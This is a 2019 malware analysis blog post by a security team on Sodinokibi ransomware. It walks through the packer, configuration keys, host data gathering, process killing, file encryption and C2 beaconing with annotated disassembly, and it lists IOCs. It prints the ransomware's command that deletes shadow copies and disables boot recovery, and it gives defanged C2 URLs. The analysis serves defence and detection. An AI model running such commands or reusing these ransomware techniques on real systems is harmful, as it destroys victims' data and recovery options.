

# Malware Tales: Sodinokibi

---

[certego.net/en/news/malware-tales-sodinokibi/](https://certego.net/en/news/malware-tales-sodinokibi/)



## Date:

14 June 2019

## Tag:

Malware, [sodinokibi](#), [gandcrab](#)

Hi everyone! Today we are looking at a threat that appeared recently: a new ransomware called **Sodinokibi**.

## Summary

---

### 1. The Threat

---

The first noteworthy appearance was at the end of April ([Talos Research](#)).

Then, at the start of this month, we gathered different reports of this threat being spread in Italy (eg: [JAMESWT\\_MHT's tweet](#)), both via malspam and known server vulnerabilities.

Also, there was the announcement of the shutdown of the GandCrab Operation ([Bleeping Computer](#)), just some days earlier.

Coincidence? We'll see.

Our guess is that this new payload could be used as a replacement of **GandCrab** in the RAAS (Ransomware-as-a-service) panorama.

Therefore, in order to protect our customers effectively, we went deep into the analysis of this ransomware.

Mainly we analyzed two different samples:

- version 1.01: md5: e713658b666ff04c9863ebecb458f174
- version 1.00: md5: bf9359046c4f5c24de0a9de28bbabd14

## 2. The Loader

Like every malware who deserves respect, **Sodinokibi** is protected by a custom *packer* that is different for each sample.

The method used by the version 1.01 sample to reconstruct the original payload is called “**PE overwrite**”.

To perform this technique, the malicious software must allocate a new area inside its process memory and fill it with the code that has the duty to overwrite the mapped image of the original file with the real malware payload. In this case, first the process allocates space in the *Heap* via *LocalAlloc*, then it writes the “**unpacking stub**” code, it signs that space as executable with *VirtualProtect* and finally it redirects the execution flow to the new memory space

```
004043FE FF 15 A0 10 F7 03 call dword ptr ds:[<&virtualProtect>]
00404404 68 98 53 46 00 push i_tuoi_documenti_del_caso.doc.465398
00404409 8B 15 88 06 59 03 mov edx,dword ptr ds:[3590688]
0040440F 52 mov edx,edx
00404410 A1 8C 06 59 03 push edx
00404415 50 mov eax,dword ptr ds:[359068C]
00404416 E8 49 CC FF FF push eax
00404418 81 05 8C 06 59 03 A5 call i_tuoi_documenti_del_caso.doc.401064
00404425 FF 15 8C 06 59 03 add dword ptr ds:[359068C],21A5
00404428 5B call dword ptr ds:[359068C]
0040442C 8B E5 pop ebx
0040442E 5D mov esp,ebp
pop ebp
```

Address	Hex	ASCII
03590688	B2 9A 01 00 75 64 01 06 8A 3E 38 00 00 00 95 76	...ud...>...v
03590698	43 72 65 61 6F 6C 68 65 6C 70 33 32	CreateToolhelp32
035906A8	53 6E 61 70 73 68 6F 74 00 00 00 00 00 00 00 00	Snapshot.....

In order to slow the analysis, the loader contains a lot of junk code that will be never executed.

```

    and ecx, dword ptr ss:[ebp-1C]
    mov byte ptr ss:[ebp-1], al
    movzx ecx, byte ptr ss:[ebp-17]
    movzx edx, byte ptr ss:[ebp-1]
    or ecx, edx
    mov byte ptr ss:[ebp-17], cl
    mov al, byte ptr ss:[ebp-16]
    mov byte ptr ss:[ebp-1], al
    cmp dword ptr ds:[3590688], 26A
    jne i_tuoi_documenti_del_caso.doc.404F67

i_tuoi_documenti_del_caso.doc.00404F48
push i_tuoi_documenti_del_caso.doc.4380C8 ; 4380C8:"tofuzewusawugeciwajarevu kab boxopuxuyaxumihegicedijo pabecedelenorusoto hitoweju"
push 0
push 0
push i_tuoi_documenti_del_caso.doc.43811C ; 43811C:"xivobedisepekazujojizihibofetibe xohakuguhifosiwuwugexekeku"
push i_tuoi_documenti_del_caso.doc.438158 ; 438158:"nujemupinayifahagijelogalulaxe behemesurijetijaxiba fodemutajecoxa sijeyoweredodesenoweresopizuse"
call dword ptr ds:[&WritePrivateProfileStructA]
call dword ptr ds:[&GetConsoleAliasExesLengthW]

i_tuoi_documenti_del_caso.doc.00404F67
mov dword ptr ss:[ebp-10], F5B41ABC
shr ebx, 15
sub dword ptr ss:[ebp-10], 46CDE9FE
add dword ptr ss:[ebp-10], 5119CF42
and ebx, 6791FD
sub dword ptr ss:[ebp-10], 4B030D5C
add dword ptr ss:[ebp-10], 2C67FE84
xor ebx, 25413588
sub dword ptr ss:[ebp-10], 57C48CA

```

Also, in the following image, we can see that it tries to hide some important strings from the static analysis like “kernel32.dll”. It leverages “stack strings” plus the randomization of the order of the characters.

00403F06	A3 88 06 59 03	mov dword ptr ds:[3590688], eax	
00403F08	B9 01 00 00 00	mov ecx, 1	
00403F10	6B D1 05	imul edx, ecx, 5	
00403F13	C6 82 08 4F 59 03 6C	mov byte ptr ds:[edx+3594F08], 6C	6C: 'l'
00403F1A	B8 01 00 00 00	mov eax, 1	
00403F1F	6B C8 0B	imul ecx, eax, 8	
00403F22	C6 81 08 4F 59 03 6C	mov byte ptr ds:[ecx+3594F08], 6C	6C: 'l'
00403F29	BA 01 00 00 00	mov edx, 1	
00403F2E	6B C2 00	imul eax, edx, 0	
00403F31	C6 80 08 4F 59 03 68	mov byte ptr ds:[eax+3594F08], 68	68: 'k'
00403F38	B9 01 00 00 00	mov ecx, 1	
00403F3D	6B D1 06	imul edx, ecx, 6	
00403F40	C6 82 08 4F 59 03 33	mov byte ptr ds:[edx+3594F08], 33	33: '3'
00403F47	B8 01 00 00 00	mov eax, 1	
00403F4C	6B C8 0A	imul ecx, eax, A	
00403F4F	C6 81 08 4F 59 03 6C	mov byte ptr ds:[ecx+3594F08], 6C	6C: 'l'
00403F56	BA 01 00 00 00	mov edx, 1	
00403F5B	6B C2 07	imul eax, edx, 7	
00403F5E	C6 80 08 4F 59 03 32	mov byte ptr ds:[eax+3594F08], 32	32: '2'
00403F65	B9 01 00 00 00	mov ecx, 1	
00403F6A	6B D1 09	imul edx, ecx, 9	
00403F6D	C6 82 08 4F 59 03 64	mov byte ptr ds:[edx+3594F08], 64	64: 'd'
00403F74	B8 01 00 00 00	mov eax, 1	
00403F79	C1 E0 00	shl eax, 0	
00403F7C	C6 80 08 4F 59 03 65	mov byte ptr ds:[eax+3594F08], 65	65: 'e'
00403F83	B9 01 00 00 00	mov ecx, 1	
00403F88	6B D1 03	imul edx, ecx, 3	
00403F8B	C6 82 08 4F 59 03 6E	mov byte ptr ds:[edx+3594F08], 6E	6E: 'n'
00403F92	B8 01 00 00 00	mov eax, 1	
00403F97	C1 E0 03	shl eax, 3	
00403F9A	C6 80 08 4F 59 03 2E	mov byte ptr ds:[eax+3594F08], 2E	2E: '.'
00403FA1	B9 01 00 00 00	mov ecx, 1	
00403FA6	D1 E1	shl ecx, 1	
00403FA8	C6 81 08 4F 59 03 72	mov byte ptr ds:[ecx+3594F08], 72	72: 'r'
00403FAF	BA 01 00 00 00	mov edx, 1	
00403FB4	C1 E2 02	shl edx, 2	
00403FB7	C6 82 08 4F 59 03 65	mov byte ptr ds:[edx+3594F08], 65	65: 'e'
00403FBE	B8 01 00 00 00	mov eax, 1	
00403FC3	6B C8 0C	imul ecx, eax, C	
00403FC6	C6 81 08 4F 59 03 00	mov byte ptr ds:[ecx+3594F08], 0	
00403FCD	C7 45 F4 00 00 00 00	mov dword ptr ss:[ebp-C], 0	
00403FD4	EB 09	jmp i_tuoi_documenti_del_caso.doc.403FDF	

  

Dump 2				Dump 3				Dump 4				Dump 5				Watch 1				[x=] Locals				Struct			
ASCII																											
0	00	00	00	00	6C	33	32	00	00	6C	6C	00	00	00	00												
k....l32..11....																											

At this point, the unpacking stub resolves dynamically the functions that he needs like *VirtualAlloc*. Then it performs the overwrite of the original image base with the new decrypted payload.

Finally, it transfers the execution to the *OEP* (Original Entry Point) of the unpacked Sodinokibi payload.

### 3. Mutex and Configuration

Once unpacked, the sample tries to create a **mutex** object. It calls *CreateMutexW*, then, if there was an error, with *RtlGetLastWin32Error* it would extract the generated error. Indeed, if the mutex already existed, the error would have been "0xB7" ("*ERROR\_ALREADY\_EXISTS*" [ref docs](#)). In that case a function is called that terminates the process.

0040472F	30		push esi	
00404730	FF 15 D0 CB 41 00		call dword ptr ds:[<&CreateMutexw>]	
00404736	A3 1C D4 41 00		mov dword ptr ds:[41D41C],eax	
0040473B	85 C0		test eax,eax	
0040473D	74 0E		jle i_tuoi_documenti_del_caso.doc.40474D	
0040473F	FF 15 FC C9 41 00		call dword ptr ds:[<&RtlGetLastWin32Error>]	
00404745	3D B7 00 00 00		cmp eax,B7	
0040474A	75 01		jne i_tuoi_documenti_del_caso.doc.40474D	
0040474C	46		inc esi	

  

00403D37	55		push ebp	
00403D38	8B EC		mov ebp,esp	
00403D3A	FF 75 08		push dword ptr ss:[ebp+8]	[ebp+8]:EntryPoint
00403D3D	FF 15 78 CA 41 00		call dword ptr ds:[<&ExitProcess>]	
00403D43	5D		pop ebp	
00403D44	C3		ret	

We found that the mutex name is different for each sample but following this pattern: **“Global{UUID}”**. Therefore it’s a method to detect the malware or to vaccinate the endpoint ([Zeltser blog](#)) that is reliable only for a specific sample.

Going forward, we found the configuration in an encrypted form in the section **“.zeaci”** for v.1.01 or **“.grrr”** for v.1.00. Once extracted, we noticed that it’s a JSON file.

These are the keys found in the configuration.

- **“pk”** -> base64 encoded key used to encrypt files
- **“pid”** -> personal id of the actor
- **“sub”** -> another id, maybe related to the specific campaign
- **“dbg”** -> debug mode
- **“fast”** -> fast mode
- **“wipe”** -> enable wipe of specific directories
- **“wht”** -> whitelist dictionary
  - **“fld”** -> keyword in whitelisted directories
  - **“fls”** -> whitelisted filenames
  - **“ext”** -> whitelisted file extensions
- **“wfld”** -> directories to wipe
- **“prc”** -> processes to kill before the encryption
- **“dmn”** -> domains to contact after encryption
- **“net”** -> check network resources
- **“nbody”** -> base64 encoded ransom note body
- **“nname”** -> ransom note file name
- **“exp”** -> unknown, expert mode?
- **“img”** -> base64 encoded message on desktop background

If you are interested in manually checking the configuration files we have extracted in the samples we have analyzed, follow this link and download the archive (password:sodinokibi): [sodinokibi\\_config\\_files.zip](#)

#### 4. Machine information recovery

Afterwards, Sodinokibi starts to gather information about the infected machine and builds another JSON structure that stores in an encrypted form in the **“HKEY\_LOCAL\_MACHINE\SOFTWARE\recfg\stat”** registry key.

```

xor eax,eax
mov word ptr ss:[ebp-32],ax
mov eax,dword ptr ds:[41D688]
add eax,2
push eax
push dword ptr ds:[41D680]
lea eax,dword ptr ss:[ebp-16C]
push dword ptr ds:[41D700]
push dword ptr ds:[41D6AC]
push dword ptr ds:[41D6A8]
push dword ptr ds:[41D6A4]
push dword ptr ds:[41D6A0]
push dword ptr ds:[41D69C]
push dword ptr ds:[41D698]
push dword ptr ds:[41D694]
push dword ptr ds:[41D690]
push dword ptr ds:[41D68C]
push dword ptr ds:[41D674]
push dword ptr ds:[41D670]
push 101
push eax
push esi
push ebx
call dword ptr ds:[<&snwprintf>]
add esp,5C
push edi

```

```

0041D688:&L".1cy198c"
0041D680:&L"QwADAAAAANCu4hMAAAAA8LdfDwAAAA=="
0041D6AC:&L"windows 10 Enterprise"
0041D6A8:&L"false"
0041D6A4:&L"en-US"
0041D6A0:&L"██████████"
0041D69C:&L"DESK"
0041D698:&L"██████████"
0041D694:&L"NRat6MF2zExgs██████████KYNWihFGtzq/Gl"
0041D690:&L"██████████ESCA2"
0041D68C:&L"pzprC6xbhNFhM/+qJ16gCrd2pnCgyRdai+E"
0041D674:&L"97"
0041D670:&L"30"

```

```

EAX 89EE895C
EDX 00000000
EBP 0019F254
ESP 0019F0C4
ESI 07DAFEE8
EDI 0019F2A0
EIP 00401E25 i_tuoi_documenti_de
EFLAGS 00000246
ZF 1 PF 1 AF 0
OF 0 SF 0 DF 0
CF 0 TF 0 IF 1
LastError 000000CB (ERROR_ENVVAR_NOT_F
LastStatus 00000000 (STATUS_SUCCESS)
Default (stdcall)
1: [esp+4] 0019F224 L"SOFTWARE\\recfg"
2: [esp+8] 0019F244 L"stat"
3: [esp+C] 00000003
4: [esp+10] 07DAFEE8
5: [esp+14] 00000372

```

Keys:

- “ver”: version (100 or 101)
- “pid”: previous config “pid”
- “sub”: previous config “sub”
- “pk”: previous config “pk”
- “uid”: user ID. It’s a 8 byte hexadecimal value generated with XOR encryption. First 4 bytes are created from the processor name, while the others are created from the volume serial number extracted with a “GetVolumeInformationW” API call.

```

004056DC 55          push ebp
004056DD 8B EC      mov ebp,esp
004056DE 8B 4D 08   mov ecx,dword ptr ss:[ebp+8]
004056E2 8B 55 10   mov edx,dword ptr ss:[ebp+10]
004056E5 F7 D1     not ecx
004056E7 85 D2     test edx,edx
004056E9 74 2B     jle i_tuoi_documenti_de1_caso.doc.405716
004056EB 56        push esi
004056EC 8B 75 0C   mov esi,dword ptr ss:[ebp+C]
004056EE 57        push edi
004056F0 0F B6 06   movzx eax,byte ptr ds:[esi]
004056F3 4A        dec edx
004056F4 6A 08     push 8
004056F6 33 C8     xor ecx,eax
004056F8 46        inc esi
004056F9 5F        pop edi
004056FA 8B C1     mov eax,ecx
004056FC D1 E9     shr ecx,1
004056FE 83 E0 01  and eax,1
00405701 F7 D0     not eax
00405703 40        inc eax
00405704 25 20 83 B8 ED and eax,EDB88320
00405709 33 C8     xor ecx,eax
0040570B 83 EF 01  sub edi,1
0040570E 75 EA     jne i_tuoi_documenti_de1_caso.doc.4056FA
00405710 85 D2     test edx,edx
00405712 75 DC     jne i_tuoi_documenti_de1_caso.doc.4056F0
00405714 5F        pop edi
00405715 5E        pop esi
00405716 F7 D1     not ecx
00405718 8B C1     mov eax,ecx
0040571A 5D        pop ebp
0040571B C3        ret

```

```

xor encryption
[ebp+C]: "Intel(R) Core(TM) i5-4200M CPU @ 2.50

```

```

add esp,10
push eax
lea eax,dword ptr ss:[ebp-18]
push eax
push edi
call dword ptr ds:[<&wsprintfW>]
add esp,10
mov eax,edi
pop esi
pop edi
mov esp,ebp
pop ebp
ret

```

```

eax: L"%08X%08X"
eax: L"%08X%08X"
eax: L"%08X%08X"

```

- “sk”: secondary key, base64 encoded key generated at runtime
- “unm”: username
- “net”: hostname
- “grp”: windows domain

<pre> push ebx push dword ptr ss:[ebp+C] mov esi,ebx push dword ptr ss:[ebp+8] call dword ptr ds:[&lt;&amp;RegOpenKeyExw&gt;] test eax,eax jne i_tuoi_documenti_de1_caso.doc.4046A9 push edi mov edi,dword ptr ss:[ebp+18] push edi push ebx push dword ptr ss:[ebp+14] push ebx push dword ptr ss:[ebp+10] push dword ptr ss:[ebp-4] call dword ptr ds:[&lt;&amp;RegQueryValueExw&gt;] </pre>	<pre> [ebp+C]:L"SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters" [ebp+10]:L"Domain" </pre>
--	---

“Ing”: language

<pre> 0040463F 6A 01 push 1 00404641 53 push ebx 00404642 FF 75 0C push dword ptr ss:[ebp+C] 00404645 8B F3 mov esi,ebx 00404647 FF 75 08 push dword ptr ss:[ebp+8] 0040464A FF 15 E8 CA 41 00 call dword ptr ds:[&lt;&amp;RegOpenKeyExw&gt;] 00404650 85 C0 test eax,eax 00404652 75 55 jne i_tuoi_documenti_de1_caso.doc.4046A9 00404654 57 push edi 00404655 8B 7D 18 mov edi,dword ptr ss:[ebp+18] 00404658 57 push edi 00404659 53 push ebx 0040465A FF 75 14 push dword ptr ss:[ebp+14] 0040465D 53 push ebx 0040465E FF 75 10 push dword ptr ss:[ebp+10] 00404661 FF 75 FC push dword ptr ss:[ebp-4] 00404664 FF 15 EC CA 41 00 call dword ptr ds:[&lt;&amp;RegQueryValueExw&gt;] </pre>	<pre> [ebp+C]:L"Control Panel\\International" [ebp+10]:L"LocaleName" </pre>
---	---

“bro”: brother? Sodinokibi retrieves the keyboard language with *GetKeyboardLayoutList*. Then it implements an algorithm that gives “True” as value for this key only if the nation code ends with a byte between 0x18 and 0x2c. It’s not odd that inside this range there are the majority of the East-Europe language codes, like Russian, Cyrillic and Romanian. It’s a clear indication of the origin of the malware authors.

<pre> 00404372 55 push ebp 00404373 8B EC mov ebp,esp 00404375 0F B6 45 08 movzx eax,byte ptr ss:[ebp+8] 00404379 83 C0 E8 add eax,FFFFFFE8 0040437C 83 F8 2C cmp eax,2C 0040437F 77 13 ja i_tuoi_documenti_de1_caso.doc.404394 00404381 0F B6 80 A2 43 40 00 movzx eax,byte ptr ds:[eax+4043A2] 00404388 FF 24 85 9A 43 40 00 jmp dword ptr ds:[eax*4+40439A] 0040438F 33 C0 xor eax,eax 00404391 40 inc eax 00404392 5D pop ebp 00404393 C3 ret 00404394 33 C0 xor eax,eax 00404396 5D pop ebp 00404397 C3 ret </pre>	<pre> eax is code language, eg. 410 Italian 2C:',' </pre>
---	---

“os”: full OS name

<pre> push dword ptr ss:[ebp+C] mov esi,ebx push dword ptr ss:[ebp+8] call dword ptr ds:[&lt;&amp;RegOpenKeyExw&gt;] test eax,eax jne i_tuoi_documenti_de1_caso.doc.4046A9 push edi mov edi,dword ptr ss:[ebp+18] push edi push ebx push dword ptr ss:[ebp+14] push ebx push dword ptr ss:[ebp+10] push dword ptr ss:[ebp-4] call dword ptr ds:[&lt;&amp;RegQueryValueExw&gt;] </pre>	<pre> [ebp+C]:L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" [ebp+10]:L"productName" </pre>
---	---

“bit”: Sodinokibi extracts this value from “*GetNativeSystemInfo*” then it compares with 9 that corresponds to the x64 architecture. Further processing will generate “40” if the architecture is 64bit, “56” otherwise.

```

004043D2  83 EC 24      sub esp,24
004043D5  8D 45 DC      lea eax,dword ptr ss:[ebp-24]
004043D8  50           push eax
004043D9  FF 15 F0 C9 41 00  call dword ptr ds:[<&GetNativeSystemInfo>]
004043DF  33 C0        xor eax,eax
004043E1  66 83 7D DC 09  cmp word ptr ss:[ebp-24],9
004043E6  0F 94 C0     sete al
004043E9  8B E5        mov esp,ebp
004043EB  5D           pop ebp
004043EC  C3           ret

```

x64 (AMD or Intel)

PROCESSOR\_ARCHITECTURE\_AMD64

9

00401974	56		push esi		
00401975	E8 4B 32 00 00		call i_tuoi_documenti_del_caso.doc.4048C5		
0040197A	56		push esi		
0040197B	A3 80 D6 41 00		mov dword ptr ds:[41D680],eax		
00401980	E8 E5 21 00 00		call i_tuoi_documenti_del_caso.doc.40386A		
00401985	E8 45 2A 00 00		call i_tuoi_documenti_del_caso.doc.4043CF		
0040198A	F7 D8		neg eax		
0040198C	1B C0		sbb eax,eax		
0040198E	83 E0 EA		and eax,FFFFFFEA		
00401991	83 C0 56		add eax,56		
EIP → 00401994	A3 00 D7 41 00		mov_dword_ptr ds:[41D700],eax		

Hide FPU		
EAX	00000056	'v'
EBX	0041C040	i_tu
ECX	FDE01E8C	
EDX	0009E658	
EBP	0019F414	
ESP	0019F2AC	
ESI	07F5D68	
EDI	00000001	

- “dsk”: base64 encoded value generated based on the drives found on the machine.
- “ext”: new in 1.01. The random extension used for encrypted files.

## 5. Encryption preparation inspired by GandCrab

At this time, before performing the encryption, Sodinokibi replicates a behavior that is very similar to what GandCrab performs, suggesting that Sodinokibi authors learned from GandCrab ones or that they are strictly related.

Sodinokibi extracts the running processes with the combination of *CreateToolhelp32Snapshot*, *Process32First* and *Process32First* and checks if they match the names in the configuration. In that case, those processes are killed. The reason is that these programs could hold write access on files and therefore they could not allow the ransomware to encrypt them.

00405311	33 D2		xor edx,edx		
00405313	F7 71 04		div dword ptr ds:[ecx+4]		
00405316	8B 41 08		mov eax,dword ptr ds:[ecx+8]		
00405319	8B 34 90		mov esi,dword ptr ds:[eax+edx*4]		esi:&"sqlbrowser.exe", [eax+e
0040531C	EB 14		jmp i_tuoi_documenti_del_caso.doc.405332		
0040531E	FF 75 0C		push dword ptr ss:[ebp+C]		[ebp+C]:L"services.exe"
00405321	FF 76 04		push dword ptr ds:[esi+4]		[esi+4]:L"sqlbrowser.exe"
00405324	E8 68 FC FF FF		call i_tuoi_documenti_del_caso.doc.404F91		
00405329	59		pop ecx		
0040532A	59		pop ecx		
0040532B	85 C0		test eax,eax		
0040532D	74 0C		je i_tuoi_documenti_del_caso.doc.405338		
0040532F	8B 76 08		mov esi,dword ptr ds:[esi+8]		esi:&"sqlbrowser.exe"
EIP → 00405332	85 F6		test esi,esi		esi:&"sqlbrowser.exe"
00405334	75 E8		jne i_tuoi_documenti_del_caso.doc.40531E		
00405336	33 C0		xor eax,eax		
00405338	5E		pop esi		
00405339	5D		pop ebp		esi:&"sqlbrowser.exe"
0040533A	C3		ret		

The list of the version 1.00 contains only the “mysql.exe” process, while the list of the version 1.01 is a lot longer and almost matches the ones used by GandCrab (source: [Symantec](#)).



Afterwards, like his predecessor, Sodinokibi deletes the shadow copies with the leverage of the “vssadmin” native utility. In addition, it uses “bcdedit” to disable windows error recovery on reboot.

```
cmd /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {{default}} r
ecoverycapability No & bcdedit /set {{default}} bootstatuspolicy ignoreallfail
ures
```



Another check done by the ransomware is for available network resources with `WNetOpenEnumW` and `WNetEnumResourceW` with the aim to find other files to encrypt.

00406548	EB 75	jmp i_tuo1_documenti_de1_caso.doc.4065BF	
0040654A	53	push ebx	
0040654B	56	push esi	
0040654C	8D 45 F4	lea eax,dword ptr ss:[ebp-C]	esi:&L"Microsoft Windows Network"
0040654F	50	push eax	
00406550	57	push edi	
00406551	8D 45 FC	lea eax,dword ptr ss:[ebp-4]	
00406554	50	push eax	
00406555	FF 75 F8	push dword ptr ss:[ebp-8]	[ebp-8]:"prOv"
00406558	FF 15 7C CA 41 00	call dword ptr ds:[<&WNetEnumResourceW>]	
0040655E	89 45 F0	mov dword ptr ss:[ebp-10],eax	

Last operation before the encryption is to find all the directories with a name that matches the configuration key “wfla” and to wipe them. In this case, the list contains only “backup”. So, for example, Sodinokibi deletes Windows Defenders updates backups.

00406558	FF 15 7C CA 41 00	call dword ptr ds:[<&DeleteFileW>]	[ebp+8]:L"\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\mpasbase.vdm"
----------	-------------------	------------------------------------	--

## 6. Ransomware attack

Finally (or not?) Sodinokibi starts to iterate over the available directories with `FindFirstFile` and `FindNextFile`.

It skips files and directories that match conditions on the whitelist configuration. The others are encrypted by the ransomware that adds the random generated key as extension to the name.

0040646A	8B EC	mov ebp,esp	
0040646C	FF 75 0C	push dword ptr ss:[ebp+C]	[ebp+C]:L"\\\\?\\c:\\BOOTNXT,k12mqqqh"
0040646F	FF 75 08	push dword ptr ss:[ebp+8]	[ebp+8]:L"\\\\?\\c:\\BOOTNXT"
00406472	FF 15 68 CA 41 00	call dword ptr ds:[<&MoveFileW>]	

In each directory the malware also write the ransom note “{ext}.readme.txt” extracted from the configuration and a lock file.

Then it creates a file with a random name “{random}.bmp” in the %TEMP% which contains the image that will be put as a background with the help of `DrawTextW` and `FillRect` functions.

All of your files are encrypted!

Find 15sj4nw-readme.txt and follow instructions

## 7. C2 Registration

Once the encryption is finished, Sodinokibi starts to iterate through a giant list of domains hardcoded in the configuration (about 1k). These domains are the same across the samples we analyzed but they are ordered differently in order to mislead the analysis.

At a first glance, these domains seem legit and most of them are correctly registered.

This is not a classic DGA but the result is almost the same because the purpose is to hide the real C&C Server used by cyber criminals.

For each domain listed, Sodinokibi generates a random URI. Then it uses the *winhttp.dll* library functions to perform HTTPS POST requests with the created URLs.

The data sent with the POST request is an encrypted form of the JSON configuration saved on the “*HKEY\_LOCAL\_MACHINE\SOFTWARE\recfg\stat*” registry key and described on the “Machine information recovery” section. In this way, malicious actors can collect important information of the infected machine.

The following are examples of some of these URLs:

```
hxxps://schluesseldienste-hannover.de/admin/images/dcnzfpph.jpg
hxxps://alpesiberie.com/admin/tmp/sxuuygb.png
hxxps://bratek-immobilien.de/uploads/image/bsxdfx.jpg
hxxps://bcmets.info/content/image/tjknaqfkuzxzny.jpg
```

EIP	Hex	Assembly	Registers
00406769	FF 15 E0 C9 41 00	call dword ptr ds:[<&WinHttpOpenRequest>]	ESP: 0019F238
0040676F	8B D8	mov ebx, eax	ESI: 00000000
004067D1	85 DB	test ebx, ebx	EDI: 061C1E08
004067D3	75 17	jne i_tuoi_documenti_de1_caso.doc.4067EC	
004067D5	57	push edi	
004067D6	FF 15 68 CB 41 00	call dword ptr ds:[<&WinHttpCloseHandle>]	
004067DC	FF 75 F4	push dword ptr ss:[ebp-C]	
004067DF	FF 15 68 CB 41 00	call dword ptr ds:[<&WinHttpCloseHandle>]	
004067E5	33 C0	xor eax, eax	
004067E7	E9 DE 00 00 00	jmp i_tuoi_documenti_de1_caso.doc.4068CA	
004067EC	8D 85 38 FF FF FF	lea eax, dword ptr ss:[ebp-C8]	
004067F2	8B FE	mov edi, esi	
004067F4	50	push eax	

Looking at an analysis of this sample in a sandbox ([AnyRun](#)), we noticed that HTTPS requests were not correctly listed. The malware can avoid traffic interception by proxies like *Fiddler* or *Mitmproxy* that are used for manual or automatic analysis.

How? The second parameter of the *WinHttpOpen* function is 0 which corresponds to “*WINHTTP\_ACCESS\_TYPE\_DEFAULT\_PROXY*”: this means that the configured proxy is skipped and the HTTP connection won’t be logged. This trick could mislead the analysis if not properly handled.

```

push esi
push esi
push esi
push esi
push eax
call dword ptr ds:[<&WinHttpOpen>]
mov edi,eax
xor eax,eax
mov dword ptr ss:[ebp-8],edi
test edi,edi
je i_tuoi_documenti_del_caso.doc.40
mov word ptr ss:[ebp-30],ax
xor ecx,ecx
lea eax,dword ptr ss:[ebp-40]

```

EAX	518840AF
ECX	00000000
EDX	0000004F
EBP	0019F3BC
ESP	0019F244
ESI	00000000
EDI	08130048

Default (stdcall)		
2:	[esp+4]	00000000
3:	[esp+8]	00000000
4:	[esp+C]	00000000
5:	[esp+10]	00000000

I suggest to read the following blog post where it's further explained how these URLs are generated and why also this routine is inspired by GandCrab code: [Tesorion analysis](#)

## 8. Conclusion

**Sodinokibi** could be the **heir** of **GandCrab**. It's still at version 1.01 so maybe it's not mature yet but is actively developed and updated

Malicious actors have started to use **Sodinokibi** to generate profit, even in Italy.

It's important to continuously **monitor** your own assets, both on a network and an endpoint level, to fight against these kind of threats.

**Certego Threat Intelligence Team** has been studying upcoming cyber threats for years in order to provide the best protection to their customers.

## IOC

```

HKEY_LOCAL_MACHINE\SOFTWARE\recfg\stat
HKEY_LOCAL_MACHINE\SOFTWARE\recfg\pk_key
decryptor[.]top
aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion

```

## About the author

**Matteo Lodi**, Cyber Threat Intelligence Team Leader

Twitter: [https://twitter.com/matte\\_lodi](https://twitter.com/matte_lodi)

License:



This work is licensed under a [Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License](#).